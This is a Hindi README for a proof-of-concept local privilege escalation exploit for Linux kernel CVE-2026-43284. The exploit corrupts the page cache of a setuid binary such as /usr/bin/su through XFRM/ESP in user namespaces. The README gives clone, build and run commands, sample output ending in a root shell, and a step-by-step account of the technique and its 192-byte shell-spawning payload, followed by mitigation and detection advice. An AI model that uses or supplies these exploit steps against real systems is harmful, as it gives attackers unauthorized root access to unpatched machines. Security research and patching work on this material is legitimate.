
CVE-2026-43284 के लिए प्रूफ-ऑफ-कॉन्सेप्ट — 4-बाइट XFRM/ESP पेज-कैश राइट प्रिमिटिव जो एक setuid बाइनरी को पैच करता है (x86_64, user namespaces). इसमें kernel preflight + SUID स्कैन शामिल है।
प्रूफ-ऑफ-कॉन्सेप्ट XFRM/ESP पेज-कैश भ्रष्टाचार के माध्यम से स्थानीय विशेषाधिकार वृद्धि
4-बाइट राइट प्रिमिटिव · 48 पुनरावृत्तियाँ · 192-बाइट ELF ओवरराइट · अविशेषाधिकृत उपयोगकर्ता + netns
बाएँ: कर्नेल प्रीफ्लाइट, setuid स्कैन, और एक्सप्लॉइट श्रृंखला ·
दाएँ: रूट शेल स्पॉन किया गया — id / whoami पुष्टि करते हैं uid=0(root)
WSL2 · Ubuntu 24.04.1 LTS · कर्नेल 6.6.87.2-microsoft-standard-WSL2 पर परीक्षण किया गया
╔═══════════════════════════════════════╗
║ SLEY - CVE-2026-43284 dirtyfrag PoC ║
╚═══════════════════════════════════════╝
अस्वीकरण: केवल उन प्रणालियों पर अधिकृत सुरक्षा अनुसंधान, शिक्षा और परीक्षण के लिए जो आपके स्वामित्व में हैं या जिनके परीक्षण की स्पष्ट अनुमति है। लेखक दुरुपयोग के लिए जिम्मेदार नहीं हैं।
तब भी काम करता है जब algif_aead ब्लैकलिस्टेड हो — एक्सप्लॉइट सीधे कर्नेल XFRM/ESP कोड पथ का उपयोग करता है।
शोषण से पहले अंतर्निहित प्रीफ्लाइट जाँचें:
CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP की पुष्टि करता है/boot/config-*, /lib/modules/*/config, या /proc/config.gz पढ़ता है)find / -perm -4000)CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m # or =y
त्वरित जाँच:
# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)
# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='
gcc, libc, libutil (forkpty के लिए)/usr/bin/su)git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make
या मैन्युअल:
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil
-O0जानबूझकर है — ऑप्टिमाइज़ेशन समय-संवेदनशील splice/UDP व्यवहार को तोड़ सकता है।
id
# uid=1000(youruser) gid=1000(youruser) groups=...
./sley-dirtyfrag # default target: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd # custom setuid binary
यह उपकरण तीन स्वचालित चरण चलाता है:
| चरण | यह क्या करता है |
|---|
स्पॉन किए गए शेल के अंदर:
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
Ctrl+D दबाएँ या exit टाइप करें। PoC पेज कैश को छोड़ देता है ताकि मूल ऑन-डिस्क बाइनरी स्वचालित रूप से पुनर्स्थापित हो जाए।
यदि पुनर्स्थापना विफल हो:
echo 3 | sudo tee /proc/sys/vm/drop_caches
| कमांड | विवरण |
|---|
┌─[ phase 1] kernel config preflight
→ /proc/config.gz
[+] CONFIG_USER_NS = y (required =y)
[+] CONFIG_XFRM = y (required =y)
[+] CONFIG_INET_ESP = m (required =m or =y)
kernel options OK.
┌─[ phase 2] setuid binary scan
10 /usr/bin/su ← target
found 14 setuid binaries.
┌─[ phase 3] exploit
[*] unshare userns+netns, register 48 XFRM SA, splice→UDP 4500...
[+] corrupt all iterations done
[+] verify ELF patch detected
╔══════════════════════════════════════╗
║ root shell — exit to restore ║
╚══════════════════════════════════════╝
| Fixed in | f4c50a4034e6 (मुख्यलाइन, 8 मई 2026) |
| Introduced | cac2661c53f3 (जनवरी 2017) |
कार्रवाई: उस डिस्ट्रो कर्नेल में अपग्रेड करें जिसमें फिक्स शामिल हो, या पैच किए गए मुख्यलाइन ट्री से बिल्ड करें।
# check your running kernel
uname -r
# verify fix is present (example — adjust for your distro's package naming)
# apt update && apt install --only-upgrade linux-image-$(uname -r)
यह एक्सप्लॉइट रूट के बिना unshare(CLONE_NEWUSER | CLONE_NEWNET) पर निर्भर करता है।
# runtime (may not exist on all kernels)
sysctl kernel.unprivileged_userns_clone=0
# or disable at build time
# CONFIG_USER_NS is not set
नोट: उपयोगकर्ता नेमस्पेस को अक्षम करने से यह PoC अवरुद्ध होता है लेकिन आवश्यक रूप से CVE-2026-43500 (userns के बिना सिस्टम के लिए rxrpc वेरिएंट) नहीं।
find / -perm -4000 -type f 2>/dev/null
# remove or harden binaries you do not need
यदि आपको लगता है कि किसी setuid बाइनरी को मेमोरी में पैच किया गया था:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# re-verify binary integrity from package manager / known-good hash
unshare(CLONE_NEWUSER | CLONE_NEWNET) — पृथक उपयोगकर्ता/नेटवर्क नेमस्पेस (रूट की आवश्यकता नहीं)।seq_hi में एन्कोडेड शेलकोड बाइट (प्रति SA 4 बाइट)।UDP_ENCAP_ESPINUDP के साथ UDP पोर्ट 4500 के माध्यम से ट्रिगर करें:
splice() लक्ष्य फ़ाइल को पाइप में पढ़ता हैsplice() डेटा को पाइप से UDP सॉकेट में ले जाता हैskip_cow पथ के माध्यम से ESP स्कैटर-गैदर सूची में प्रवेश करता हैauthencesn स्कैटरवॉक assoclen + cryptlen पर seq_hi लिखता हैsetuid(0) / setgid(0) / चलाता है।| Environment | Kernel |
|---|---|
| WSL2 Ubuntu 24.04.1 LTS | 6.6.87.2-microsoft-standard-WSL2 |
| Ubuntu 24.04 | असुरक्षित बिल्ड |
| Fedora 44 | असुरक्षित बिल्ड |
pcbc(fcrypt) ब्रूट-फोर्स प्रिमिटिव के साथ /etc/passwd को लक्षित करता है। इस रिपॉजिटरी में शामिल नहीं है।अनुसंधान और शिक्षा के लिए ज्यों-का-त्यों प्रदान किया गया। जिम्मेदारी से उपयोग करें।
SLEY — CVE-2026-43284 dirtyfrag PoC
यदि इसने आपके शोध में मदद की, तो रिपॉजिटरी को स्टार करने पर विचार करें।
| CVE | CVE-2026-43284 |
| Type | स्थानीय विशेषाधिकार वृद्धि (LPE) |
| Vector | XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) पेज-कैश भ्रष्टाचार |
| Primitive | प्रति पुनरावृत्ति 4 बाइट (ESN seq_hi) |
| Payload | 192-बाइट x86_64 ELF (setuid(0) + setgid(0) + execve("/bin/sh")) |
| Default target | /usr/bin/su |
| Architecture | केवल x86_64 |
| Privileges required | अविशेषाधिकृत उपयोगकर्ता (उपयोगकर्ता + नेटवर्क नेमस्पेस का उपयोग करता है) |
| 1 | कर्नेल कॉन्फ़िग प्रीफ्लाइट (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP) |
| 2 | पूर्ण-सिस्टम setuid बाइनरी स्कैन; डिफ़ॉल्ट लक्ष्य को हाइलाइट करता है |
| 3 | बैकअप लक्ष्य → पेज कैश पैच (48× 4-बाइट राइट) → रूट शेल स्पॉन करें |
./sley-dirtyfrag | /usr/bin/su का शोषण (डिफ़ॉल्ट) |
./sley-dirtyfrag /path/to/suid | कस्टम setuid बाइनरी का शोषण |
make | sley-dirtyfrag बनाएँ |
make clean | बाइनरी हटाएँ |
| उपाय | प्रभाव |
|---|
| कर्नेल पैच/अपग्रेड करें | अंतर्निहित पेज-कैश राइट बग को समाप्त करता है |
| उपयोगकर्ता नेमस्पेस प्रतिबंधित करें | इस PoC को अवरुद्ध करता है (CONFIG_USER_NS आवश्यक) |
| अनावश्यक setuid बाइनरी हटाएँ | व्यवहार्य लक्ष्य कम करता है (chmod u-s, या अनइंस्टॉल) |
| लॉकडाउन / LSM (SELinux, AppArmor) | नीति के आधार पर पोस्ट-एक्सप्लॉइट प्रभाव को सीमित कर सकता है |
| XFRM + UDP/4500 की निगरानी करें | अविशेषाधिकृत नेमस्पेस से असामान्य SA पंजीकरण और ESP-in-UDP ट्रैफ़िक का पता लगाएं |
execve("/bin/sh")posix_fadvise) ताकि कर्नेल डिस्क से साफ़ फ़ाइल को पुनः लोड करे।| File | Description |
|---|
sley-dirtyfrag.c | एक्सप्लॉइट स्रोत |
Makefile | बिल्ड सहायक |
proof-of-concept-1.jpg | PoC स्क्रीनशॉट — प्रीफ्लाइट + एक्सप्लॉइट |
proof-of-concept-2.jpg | PoC स्क्रीनशॉट — रूट शेल सत्यापन |
README.md | यह फ़ाइल |